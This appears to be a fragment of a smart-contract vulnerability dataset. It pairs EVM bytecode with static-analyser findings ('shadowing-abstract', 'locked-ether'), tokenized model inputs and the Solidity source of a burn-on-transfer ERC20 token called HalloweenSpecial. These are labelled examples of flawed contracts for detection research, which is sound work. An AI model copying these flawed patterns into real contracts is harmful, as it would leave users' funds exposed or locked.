9080838360005b838110156102d05780820151818401526020810190506102b5565b50505050905090810190601f1680156102fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031657600080fd5b61034b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b81565b604051808215151515815260200191505060405180910390f35b341561037057600080fd5b610378610c73565b6040518082815260200191505060405180910390f35b341561039957600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c79565b604051808215151515815260200191505060405180910390f35b341561041257600080fd5b61041a610f75565b604051808215151515815260200191505060405180910390f35b341561043f57600080fd5b61045760048080351515906020019091905050610f88565b005b341561046457600080fd5b61046c611001565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b610495611006565b6040518082815260200191505060405180910390f35b34156104b657600080fd5b6104be61100c565b6040518082815260200191505060405180910390f35b34156104df57600080fd5b61050b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611012565b005b341561051857600080fd5b610520611151565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056d57600080fd5b6105836004808035906020019091905050611177565b005b341561059057600080fd5b6105bc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112ce565b6040518082815260200191505060405180910390f35b34156105dd57600080fd5b6105e5611317565b604051808215151515815260200191505060405180910390f35b341561060a57600080fd5b61061261132a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065f57600080fd5b610667611350565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a757808201518184015260208101905061068c565b50505050905090810190601f1680156106d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106ed57600080fd5b610719600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611389565b005b341561072657600080fd5b61075b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611429565b604051808215151515815260200191505060405180910390f35b341561078057600080fd5b61079860048080351515906020019091905050611610565b005b34156107a557600080fd5b61081d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611689565b604051808215151515815260200191505060405180910390f35b341561084257600080fd5b61085860048080359060200190919050506117fd565b005b341561086557600080fd5b6108b0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611863565b6040518082815260200191505060405180910390f35b34156108d157600080fd5b6108d96118ea565b6040518082815260200191505060405180910390f35b34156108fa57600080fd5b61092f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118f8565b005b341561093c57600080fd5b610944611962565b6040518082815260200191505060405180910390f35b341561096557600080fd5b610991600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611968565b604051808215151515815260200191505060405180910390f35b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610a3957600080fd5b80600354111515610a4957600080fd5b8060036000828254039250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff167f79c65068f81072733b15ab3cba61b23110793f90ab099d228a414b186333a81e826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6040805190810160405280600e81526020017f6461736162692e696f204453424900000000000000000000000000000000000081525081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610cc857600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610d5657600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de157600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660019054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe457600080fd5b80600660016101000a81548160ff02191690831515021790555050565b601281565b60035481565b60045481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106e57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561109457600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561114e57600080fd5b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d357600080fd5b80600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561122057600080fd5b8060036000828254019250508190555080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fd1df306c742159c188c29d2c167874a39b84fd0f96f794ad7ea53295680ec1c5826040518082815260200191505060405180910390a250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f445342490000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561147957600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561150757600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166c57600080fd5b80600660006101000a81548160ff02191690831515021790555050565b6000808490506116998585610b81565b508073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561178f578082015181840152602081019050611774565b50505050905090810190601f1680156117bc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156117dd57600080fd5b6102c65a03f115156117ee57600080fd5b50505060019150509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185957600080fd5b8060048190555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060035460025403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195457600080fd5b61195e82826109ab565b5050565b60055481565b60096020528060005260406000206000915054906101000a900460ff16815600a165627a7a72305820882b4576e4f469e5d2db5d2e43e6a4849d88aa9f14493970d25bde117ef1bb760029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 21084, 9818, 16086, 2475, 4402, 14526, 2620, 2546, 17134, 2692, 21057, 2278, 2575, 2683, 2050, 2575, 19841, 2692, 16703, 2063, 12376, 2575, 2094, 28756, 2546, 19961, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 2689, 12384, 2121, 1006, 4769, 1035, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 3954, 1027, 1035, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,152
0x964c4bf322ef8a0bef975a2b829c310e17bdd398
pragma solidity ^0.5.0; /* HalloweenSpecial 666 666 666 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract HalloweenSpecial is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "HalloweenSpecial"; string constant tokenSymbol = "666"; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 666 * (10 ** 18); uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(0xeB063dB53EEF9134F9ec4Aaab1EE017919e64155, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function findSixPointSixPercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 SixPointSixPercent = roundValue.mul(basePercent).div(1500); return SixPointSixPercent; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = findSixPointSixPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findSixPointSixPercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634e77ea0d11610097578063a457c2d711610066578063a457c2d714610601578063a9059cbb14610667578063c5ac0ded146106cd578063dd62ed3e146106eb57610100565b80634e77ea0d1461049657806370a08231146104d857806379cc67901461053057806395d89b411461057e57610100565b806323b872dd116100d357806323b872dd14610358578063313ce567146103de578063395093511461040257806342966c681461046857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee5780631e89d5451461020c575b600080fd5b61010d610763565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610805565b604051808215151515815260200191505060405180910390f35b6101f6610930565b6040518082815260200191505060405180910390f35b6103566004803603604081101561022257600080fd5b810190808035906020019064010000000081111561023f57600080fd5b82018360208201111561025157600080fd5b8035906020019184602083028401116401000000008311171561027357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156102d357600080fd5b8201836020820111156102e557600080fd5b8035906020019184602083028401116401000000008311171561030757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061093a565b005b6103c46004803603606081101561036e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098c565b604051808215151515815260200191505060405180910390f35b6103e6610ded565b604051808260ff1660ff16815260200191505060405180910390f35b61044e6004803603604081101561041857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e04565b604051808215151515815260200191505060405180910390f35b6104946004803603602081101561047e57600080fd5b8101908080359060200190929190505050611039565b005b6104c2600480360360208110156104ac57600080fd5b8101908080359060200190929190505050611046565b6040518082815260200191505060405180910390f35b61051a600480360360208110156104ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611097565b6040518082815260200191505060405180910390f35b61057c6004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e0565b005b610586611286565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c65780820151818401526020810190506105ab565b50505050905090810190601f1680156105f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61064d6004803603604081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611328565b604051808215151515815260200191505060405180910390f35b6106b36004803603604081101561067d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061155d565b604051808215151515815260200191505060405180910390f35b6106d5611825565b6040518082815260200191505060405180910390f35b61074d6004803603604081101561070157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061182b565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107fb5780601f106107d0576101008083540402835291602001916107fb565b820191906000526020600020905b8154815290600101906020018083116107de57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084057600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008090505b82518110156109875761097983828151811061095857fe5b602002602001015183838151811061096c57fe5b602002602001015161155d565b508080600101915050610940565b505050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109da57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a9d57600080fd5b610aef82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610b3d83611046565b90506000610b5482856118b290919063ffffffff16565b9050610ba881600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c00826005546118b290919063ffffffff16565b600581905550610c9584600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e3f57600080fd5b610ece82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b61104333826118e5565b50565b60008061105e60065484611a5990919063ffffffff16565b9050600061108b6105dc61107d60065485611a9490919063ffffffff16565b611acb90919063ffffffff16565b90508092505050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561116957600080fd5b6111f881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128282826118e5565b5050565b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561131e5780601f106112f35761010080835404028352916020019161131e565b820191906000526020600020905b81548152906001019060200180831161130157829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136357600080fd5b6113f282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156115ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115e557600080fd5b60006115f083611046565b9050600061160782856118b290919063ffffffff16565b905061165b84600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f081600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611748826005546118b290919063ffffffff16565b6005819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505092915050565b60065481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211156118be57fe5b818303905092915050565b6000808284019050838110156118db57fe5b8091505092915050565b60008114156118f357600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561193f57600080fd5b611954816005546118b290919063ffffffff16565b6005819055506119ac81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080611a6684846118c9565b90506000611a758260016118b2565b9050611a8a611a848286611acb565b85611a94565b9250505092915050565b600080831415611aa75760009050611ac5565b6000828402905082848281611ab857fe5b0414611ac057fe5b809150505b92915050565b600080828481611ad757fe5b049050809150509291505056fea265627a7a723158206d13ca07f29c7387ad5a93098344924175b38fa90d0ec0b22c73fbe2b41a1e8a64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
